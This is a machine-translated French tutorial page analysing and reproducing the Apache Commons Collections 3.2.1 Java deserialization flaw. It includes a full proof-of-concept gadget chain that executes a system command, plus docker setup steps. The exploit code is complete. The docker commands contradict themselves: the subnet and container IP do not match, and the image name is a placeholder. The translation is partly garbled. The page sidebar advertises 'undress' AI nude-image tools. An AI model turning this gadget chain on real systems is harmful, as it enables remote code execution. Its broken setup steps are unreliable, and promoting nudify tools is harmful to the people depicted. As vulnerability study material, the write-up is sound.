Table des matières
1.1 Statut
1.2 Analyse des vulnérabilités
Idée d'exploitation de vulnérabilité :
1.3 réapparition du docker
Maison Opération et maintenance Sécurité Comment analyser et reproduire la vulnérabilité de désérialisation d'Apache Commons Collections

Comment analyser et reproduire la vulnérabilité de désérialisation d'Apache Commons Collections

May 14, 2023 pm 02:04 PM
collections commons

1.1 Statut

Analyse complète des conditions d'extraction des vulnérabilités et reproduction des vulnérabilités.

1.2 Analyse des vulnérabilités

Versions avec failles de sécurité : Apache Commons Collections 3.2.1 ou inférieure, [Version JDK : 1.7.0_80] Apache Maven 3.6.3.

Code principal POC :

package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//        //触发漏洞//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//        onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();//    }//}}}
Copier après la connexion

Idée d'exploitation de vulnérabilité :

Classe d'implémentation de l'interface Transformer-InvokerTransformer(), qui peut appeler n'importe quelle fonction.

Pour implémenter Runtime.getRuntime().exec(cmd), vous devez appeler le transformateur plusieurs fois et utiliser le résultat de retour actuel comme information d'entrée suivante.

Pour appeler Runtime.getRuntime(), considérez la classe ConstantTransformer, qui peut utiliser directement les paramètres d'entrée comme sortie.

ChainedTransformer En tant que classe d'implémentation, pour le tableau Transformer reçu, il utilise sa propre méthode de transformation (les paramètres sont saisis par l'utilisateur) pour traiter l'objet du tableau Transformer un par un, et utilise le résultat comme paramètre d'entrée pour le suivant. appel répété. Sa méthode transform() peut déclencher la vulnérabilité.

Afin de trouver le chemin de désérialisation, c'est-à-dire que les données lues sont désérialisées et exécutées, recherchez ensuite le chemin qui peut déclencher la méthode .transform() de l'objet ChainedTransformer en sens inverse.

La classe HashMap peut stocker des données dans des paires clé-valeur, et la méthode put(key, value) peut stocker des données.

La fonction de la classe TransformedMap est de stocker des paires clé-valeur et de les convertir en objets de transformation. La méthode decor() peut créer des paires clé-valeur, et la méthode checkSetValue() déclenchera l'instruction this.valueTransformer.transform(). . Recherchez dans l'ordre inverse pour appeler checkSetValue() [1] pour faire de this.valueTransformer un objet ChainedTransformer [2].

Pour [2], la méthode statique decor() de la classe TransformedMap peut atteindre l'objectif.

Pour [1], la méthode setValue de la classe statique AbstractInputCheckedMapDecorator MapEntry exécutera this.parent.checkSetValue(value), puis this.parent doit être défini sur l'objet TransformedMap [3].

Pour [3], analyse avancée de ce code dans le POC :

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
Copier après la connexion

La recherche montre que pendant le processus d'exécution, l'objet TransformedMap est attribué plusieurs fois à this.parent dans la classe AbstractInputCheckedMapDecorator, et l'objet Map.Entry est renvoyé, ce qui est parfait pour l'exécution. La méthode setValue() déclenche la vulnérabilité.

Afin d'améliorer la polyvalence, nous devons trouver un moyen de déclencher la vulnérabilité lors de l'appel de la méthode de désérialisation. Par conséquent, envisagez de rechercher des objets de classe qui satisfont "override désérialisation readObject() et exécutez setValue() de la variable d'objet de classe Map. . En même temps, cette variable peut contrôler les données de valeur clé". La classe AnnotationInvocationHandler répond à cette exigence [elle appelle setValue() à chaque entrée d'une variable membre de type Map]. La fonction

Class.forName() consiste à charger des classes.

Analysez à nouveau, pour [1], l'analyse avancée du code principal dans le POC :

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
Copier après la connexion

La recherche montre que le processus d'exécution exécutera la méthode setValue de la classe statique MapEntry et exécutera la méthode EntrySet pour réaliser cela. parent = Objet TransformedMap, donc vulnérabilité de déclenchement.

En général, l'idée de construction POC avant est la suivante : construisez d'abord l'objet ChainedTransformer, puis créez l'objet Map, puis utilisez l'instance de classe TransformedMap pour enregistrer l'objet ChainedTransformer dans l'objet de classe Map, puis obtenez l'initialisation de l'objet de classe Map via la méthode de réflexion Une instance de la classe AnnotationInvocationHandler pour la sérialiser.

1.3 réapparition du docker

Téléchargez l'image docker créée, utilisez la commande suivante :

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
Copier après la connexion

Définissez le LAN et l'IP du conteneur, démarrez le conteneur, exemple :

(1) Personnalisez le réseau

docker network create --subnet=192.168.10.1/24 testnet
Copier après la connexion

(2) Démarrez le docker containers

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
Copier après la connexion

Dans le conteneur [Apache-Commons-Collections], exécutez la commande [java -jar commons-collections-3.1.jar] et le fichier [CommonsCollections3.1] sera généré, comme indiqué ci-dessous.

如何进行Apache Commons Collections反序列化漏洞分析与复现

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
3 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Comment déverrouiller tout dans Myrise
4 Il y a quelques semaines By 尊渡假赌尊渡假赌尊渡假赌

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Java utilise la fonction Frequency() de la classe Collections pour calculer le nombre de fois qu'un élément spécifié apparaît dans une collection. Java utilise la fonction Frequency() de la classe Collections pour calculer le nombre de fois qu'un élément spécifié apparaît dans une collection. Jul 24, 2023 pm 09:48 PM

Java utilise la fonction Frequency() de la classe Collections pour calculer le nombre d'occurrences d'un élément spécifié dans une collection. En programmation Java, la classe Collections est une classe utilitaire qui contient de nombreuses méthodes statiques pour opérer sur les collections. L'une d'elles est la fonction Frequency(), qui compte le nombre d'occurrences d'un élément spécifié dans une collection. Cette fonction est très simple et facile à utiliser, offrant commodité et flexibilité aux développeurs Java. Vous trouverez ci-dessous un exemple de code montrant comment utiliser

Java utilise la fonction binaireSearch() de la classe Collections pour effectuer une recherche binaire dans une collection ordonnée. Java utilise la fonction binaireSearch() de la classe Collections pour effectuer une recherche binaire dans une collection ordonnée. Jul 27, 2023 am 08:58 AM

Java utilise la fonction binaireSearch() de la classe Collections pour effectuer une recherche binaire dans une collection ordonnée. La recherche binaire est un algorithme efficace pour rechercher des éléments spécifiques dans une collection ordonnée. En Java, nous pouvons utiliser la fonction binaireSearch() de la classe Collections pour implémenter la recherche binaire. Cet article explique comment utiliser la fonction binaireSearch() pour effectuer une recherche dans une collection ordonnée et fournit des exemples de code spécifiques. L'idée de base de l'algorithme de recherche binaire

Java utilise la fonction shuffle() de la classe Collections pour perturber l'ordre des éléments de la collection. Java utilise la fonction shuffle() de la classe Collections pour perturber l'ordre des éléments de la collection. Jul 24, 2023 pm 10:25 PM

Java utilise la fonction shuffle() de la classe Collections pour perturber l'ordre des éléments dans la collection. Dans le langage de programmation Java, la classe Collections est une classe d'outils qui fournit diverses méthodes statiques pour gérer les collections. L'une d'elles est la fonction shuffle(), qui peut être utilisée pour modifier l'ordre des éléments dans une collection. Cet article montre comment utiliser cette fonction et fournit des exemples de code correspondants. Tout d’abord, nous devons importer la classe Collections dans le package java.util,

Java utilise la fonction sort() de la classe Collections pour trier les collections Java utilise la fonction sort() de la classe Collections pour trier les collections Jul 24, 2023 pm 05:01 PM

Java utilise la fonction sort() de la classe Collections pour trier les collections. En Java, nous avons souvent besoin de trier les collections. La classe Collections fournit une fonction sort() qui permet de trier facilement les collections. Cet article explique comment utiliser la fonction sort() de la classe Collections pour trier les collections, avec des exemples de code. Tout d’abord, nous devons importer le package java.util pour utiliser la classe Collections. lutin

Java utilise la fonction max() de la classe Collections pour obtenir la valeur maximale de la collection Java utilise la fonction max() de la classe Collections pour obtenir la valeur maximale de la collection Jul 24, 2023 am 10:41 AM

Java utilise la fonction max() de la classe Collections pour obtenir la valeur maximale d'une collection. En programmation Java, nous avons souvent besoin d'obtenir la valeur maximale d'une collection. Afin de simplifier ce processus et d'améliorer la lisibilité et l'efficacité du code, Java fournit la fonction max() de la classe Collections. Cette fonction nous aide à trouver facilement la valeur maximale dans l’ensemble. Cet article explique comment utiliser la fonction max() de la classe Collections, avec des exemples de code correspondants. Coll.

Comment utiliser le module collections pour les opérations avancées de structure de données dans Python 2.x Comment utiliser le module collections pour les opérations avancées de structure de données dans Python 2.x Jul 30, 2023 am 11:36 AM

Comment utiliser le module collections pour les opérations avancées de structure de données dans Python 2.x Introduction : Dans la bibliothèque standard de Python, le module collections fournit des structures de données avancées qui peuvent faciliter diverses opérations. Cet article présentera plusieurs structures de données principalement fournies par le module collections et donnera des exemples de code pertinents. 1. CounterCounter est un outil de comptage simple et puissant qui peut être utilisé pour compter chaque élément d'un objet itérable.

Exemple d'analyse de la vulnérabilité de désérialisation d'Apache Commons Collections Exemple d'analyse de la vulnérabilité de désérialisation d'Apache Commons Collections May 17, 2023 pm 03:10 PM

1. Introduction Bien qu'il existe de nombreux articles sur Internet qui analysent la vulnérabilité de désérialisation de ce composant, je l'enregistre toujours ici. Après tout, cela est important pour le développement des vulnérabilités de désérialisation Java. Apache Commons Collections est une bibliothèque d'outils très couramment utilisée dans le développement d'applications Java. Elle ajoute de nombreuses structures de données puissantes, simplifie le développement d'applications Java et est devenue une norme reconnue pour Java pour traiter les données de collection. De nombreuses applications courantes telles que Weblogic, WebSphere, Jboss, Jenkins, etc. utilisent toutes la bibliothèque d'outils Apache Commons Collections. Lorsqu'une vulnérabilité de désérialisation se produit dans la bibliothèque d'outils, cela se produit.

Comment utiliser le module collections pour les opérations avancées de structure de données dans Python 3.x Comment utiliser le module collections pour les opérations avancées de structure de données dans Python 3.x Jul 31, 2023 pm 05:44 PM

Comment utiliser le module collections pour les opérations avancées sur la structure de données dans Python3.x Introduction : Dans la programmation Python, il est souvent nécessaire de traiter diverses structures de données, telles que des listes, des dictionnaires, etc. Cependant, dans certains scénarios spécifiques, nous pouvons avoir besoin de structures de données plus avancées pour mieux organiser et gérer les données. Heureusement, le module de collections de Python fournit des structures de données puissantes pour nous aider à manipuler les données plus efficacement. Cet article présentera les collections

See all articles